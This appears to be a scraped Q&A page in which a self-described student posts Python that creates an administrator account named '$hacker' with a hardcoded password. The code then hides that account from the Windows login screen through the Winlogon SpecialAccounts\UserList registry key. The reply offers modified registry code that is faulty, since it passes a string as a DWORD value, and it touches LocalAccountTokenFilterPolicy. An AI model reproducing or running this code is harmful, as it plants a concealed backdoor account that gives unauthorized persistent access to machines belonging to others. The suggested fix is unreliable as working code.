简体   繁体   中英

Creating a new DWORD with Python

Hello guys I am trying to teach myself more python than my college does and im trying to create python file to the bash file ive created once. The bash file is supposed to open a new user on 'net users' named $hacker and afterwards hide it on Registory. The try is working good and im getting all of the prints i asked when everything is complete but for some reason the DWORD wasnt created (two keys as well) Hope someone will know what am I doing wrong !

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

Try below

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM